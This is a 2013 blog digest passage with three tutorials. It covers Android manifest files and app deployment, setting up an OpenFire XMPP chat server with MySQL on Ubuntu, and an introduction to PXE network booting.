The Android manifest file must also contain the required permissions for the application. For example if the application requires network access it must be specified here.

Following is the example of Android Manifest File:

<?xml version="1.0" encoding="utf-8"?>  <manifest xmlns:android="http://schemas.android.com/apk/res/android"        package="de.vogella.android.temperature"        android:versionCode="1"        android:versionName="1.0">      <application android:icon="@drawable/icon" android:label="@string/app_name">          <activity android:name=".Convert"                    android:label="@string/app_name">              <intent-filter>                  <action android:name="android.intent.action.MAIN" />                  <category android:name="android.intent.category.LAUNCHER" />              </intent-filter>          </activity>        </application>      <uses-sdk android:minSdkVersion="9" />    </manifest>

The package attribute defines the base package for the Java objects referred to in this file. If a Java object lies within a different package, it must be declared with the full qualified package name.

Google Play requires that every Android application uses its own unique package. Therefore it is a good habit to use your reverse domain name as package name. This will avoid collisions with other Android applications.

android:versionName and android:versionCode specify the version of your application. versionName is what the user sees and can be any String.

versionCode must be an integer. The Android Market determine based on the versionCode, if it should perform an update of the applications for the existing installations. You typically start with “1″ and increase this value by one, if you roll-out a new version of your application.

The <activity> tag defines an activity component. The name attribute points to class, which (if not fully qualified), is relative to the package defined in the package attribute.

The intent filter part in the Android manifest file, tells the Android runtime that this activity should to registered as possible entry point into the application and made available in the launcher of the Android system. The action define that is can be started android:name="android.intent.action.MAIN" ) and the category android:name="android.intent.category.LAUNCHER" category tells the Android system to add the activity to the launcher.

The @string/app_name value refers to resource files which contain the actual value of the application name. The usage of resource file makes it easy to provide different resources, e.g. strings, colors, icons, for different devices and makes it easy to translate applications.

The uses-sdk part of the AndroidManifest.xml file defines the minimal SDK version for which your application is valid. This will prevent your application being installed on unsupported devices.

Resources Files

Android supports that resources, like images and certain XML configuration files, can be keep separate from the source code.

Resource files must be placed in the /res directory in a predefined sub-folder dependent on their type. You can also append additional qualifiers to the folder name to indicate that the related resources should be used for special configurations. For example you can specify that layout file is only valid for a certain screen size.

Resource IDs and R.java

Every resource file gets an ID assigned by the Android build system. The gen directory in an Android project contains the R.java references file which contains these generated values. These references are static integer values.

If you add a new resource file, the corresponding reference is automatically created in R.java file. Manual changes in the R.java file are not necessary and are overridden by the tooling.

The Android system provides methods to access the corresponding resource files via these IDs.

For example to access a String with the R.string.yourString ID in your source code, you would use the getString(R.string.yourString)) method.

Deployment

In general, you can use several method to deploy an application to your device. Those are by USB transfer, email the application, use Google Play, etc. The following sections will highlights the most common ones and common deployment process.

There is also a specific article discussing this material. You can check it on this link.

Deployment via Eclipse

Turn on USB Debugging on your device in the settings. Select in the settings of your device Applications → Development, then enable USB debugging.

You may also need to install the a driver for your mobile phone. Linux and Mac OS usually work out of the box while an Windows OS typically requires the installation of a driver.

Please note that the Android version you are developing for must be the installed version on your phone.

If you have only one device connected and no emulator running, the Android develoment tools will automatically deploy to this device. If you have several connected you can selected which one shoudl be used.

Export Application

Android application must be signed before they can get installed on an Android device. During development Eclipse signs your application automatically with a debug key.

If you want to install your application without the Eclipse IDE you can right-click on it and select Android Tools → Export Signed Application Package.

This wizard allows to use an existing key or to create a new one.

Please note that you need to use the same signature key in Google Play (Google Market) to update your application. If you loose the key you will NOT be able to update your application ever again.

Make sure to backup your key.

Via External Source

Android allow to install applications also directly. Just click on a link which points to an .apk file, e.g. in an email attachment or on a webpage. Android will prompt you if you want to install this application.

This requires a setting on the Android device which allows the installation of non-market application. Typically this setting can be found under the “Security” settings.

Google Play

Google Play requires a one time fee, currently 25 Dollar. After that the developer can directly upload his application and the required icons, under Google Play Publishing .

Google performs some automatic scanning of applications, but no approval process is in place. All application, which do not contain malware, will be published. Usually a few minutes after upload, the application is available.

Senin, 16 September 2013

Xathrya Sabertooth

Xathrya Sabertooth


Creating Chat Server using OpenFire on Ubuntu

Posted: 15 Sep 2013 06:50 AM PDT

OpenFire is a real time collaboration (RTC) server licensed under Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). In other word, OpenFire is free open source application used for building a chat server.

In this article we will use OpenFire to build a chat server on ubuntu. In this article I use:

  1. Ubuntu 12.04
  2. Oracle Java Development Kit (JDK)
  3. MySQL
  4. OpenFire

Please note that all the command invoked on terminal are using root privilege!

Preparation

It is always a good choice to update and upgrade your system. To do so, do following:

apt-get update  apt-get upgrade

Update / Install Latest JDK

We will use Oracle JDK instead of OpenJDK. First we need to uninstall OpenJDK (purge it!)

apt-get remove --purge openjdk*

Once the purge complete, install Oracle JDK

apt-get install oracle-java7-installer

Database

The database used here is MySQL server. If you haven’t install it, you can invoke following command to install it.

apt-get install mysql-server

Now, login to mysql

mysql -u root -p

Next, create a database by these series of SQL command:

CREATE DATABASE dbopenfire CHARACTER SET='utf8';  CREATE USER 'openfire'@'localhost' IDENTIFIED BY '0wnByX4thrya';  GRANT ALL PRIVILEGES ON dbopenfire.* TO openfire@localhost WITH GRANT OPTION;  FLUSH PRIVILEGES;

and then quit. Note that you can change the password identification for user openfire.

Installing OpenFire

Download the latest OpenFire package for Debian-based Linux. The latest version of OpenFire (per September 15th, 2013) is 3.8.2 which can be downloaded here.

Or, you can install it directly.

cd /tmp  wget http://www.igniterealtime.org/downloads/download-landing.jsp?file=openfire/openfire_3.8.2_all.deb  dpkg -i openfire_3.8.2_all.deb

Now, replace java-6-sun with java-7-oracle (we have install java-7-oracle, right?)

apt-get install rpl  rpl '6-sun' '7-oracle' /etc/init.d/openfire  service openfire start

Set Firewall

Now, set the firewall to allow packet traffic for ports used by openfire.

ufw allow 9090/tcp  ufw allow 9091/tcp  ufw allow 5222/tcp  ufw allow 7777/tcp  ufw allow 7443/tcp  ufw allow 7070/tcp  ufw allow 3478/tcp  ufw allow 3479/tcp

Configuration

Now we will configure the OpenFire by web.

Open your browser and go to http://Your-IP:9090 where Your IP is your server IP.

Click continue until you reach setting for database connection (we omit other default setting). Choose Standard Database Connection. Now you will get a form. Fill the form with setting we use on previous sections. For example:

  • Database Driver Presets = MySQL
  • JDBC Driver Class = com.mysql.jdbc.Driver
  • Database Url = jdbc:mysql://localhost:3306/dbopenfire
  • Username = openfire
  • Password = <the password you set>
  • Minimum connections = 5
  • Maximum connections = 25
  • Connection Timeout = 1.0 Days

On profile setting, choose default and click on continue.

Now set the administrator account. You pick the password by yourself, and should be different from database password.

The configuration is finished.

Add New Account

To add new account, click on User Groups -> Users -> Create New User. Fill the required information.

Client?

Basically, any XMPP/JABBER capable client can connect to this chat server. For an alternative, you can use Spark which is developed by the very same developer who develop OpenFire. You can download it here. Download in respect of your client operating system.

Introduction to Preboot Execution Environment (PXE)

Posted: 15 Sep 2013 06:45 AM PDT

Preboot eXecution Environment or PXE (also known as Pre-Execution Environment) sometimes pronounced as pixie, is an environment to boot computer using network interface independently of data storage device (like hard disks) or installed operating systems. This kind of method is used as base of Diskless Node.

PXE makes use of several network protocols: Internet Protocol, User Datagram Protocol, Dynamic Host Configuration Protocol (DHCP), and Trivial File Transfer Protocol (TFTP) and also use concept of Globally Unique Identifier (GUID), Universally Unique Identifier (UUID), and Universal Network Device Interface. PXE will extends the firmware of the PXE client (the computer to be bootstrapped via PXE) with a set of predefined Application Programming Interface (API).

Mechanism

In normal boot process, after powering the machine a client will go to a BIOS and execute bootstrap program on HDD or CD\DVD. When using a PXE, the boot process is changed. After the computer is powered on, it will go to BIOS and then use the Network Card’s PXE stack. After that, the client will execute following procedure.

  1. The client firmware locate a PXE redirection service on the network (Proxy DHCP) in order to receive information about available PXE boot servers.
  2. Client parsing the information retrieved
  3. Client ask an appropriate boot server for the file path of a Network Bootstrap Program (NBP)
  4. Client download the required image and load to RAM (using TFTP access)
  5. Client execute the image

In short, The NBP is responsible for the 2nd stage boot.

What You Need?

As you might think, the PXE utilize network communication. In detail, it can be considered as one of client-server architecture system. You need a server which provides everything you need, and a client which send a request to server.

On Server Side

A server machine has to be configured to receive a request for PXE boot.

  1. DHCP
  2. TFTP
  3. appropriate NBP

On Client Side

A client machine should supports PXE booting. You should be able to enable it.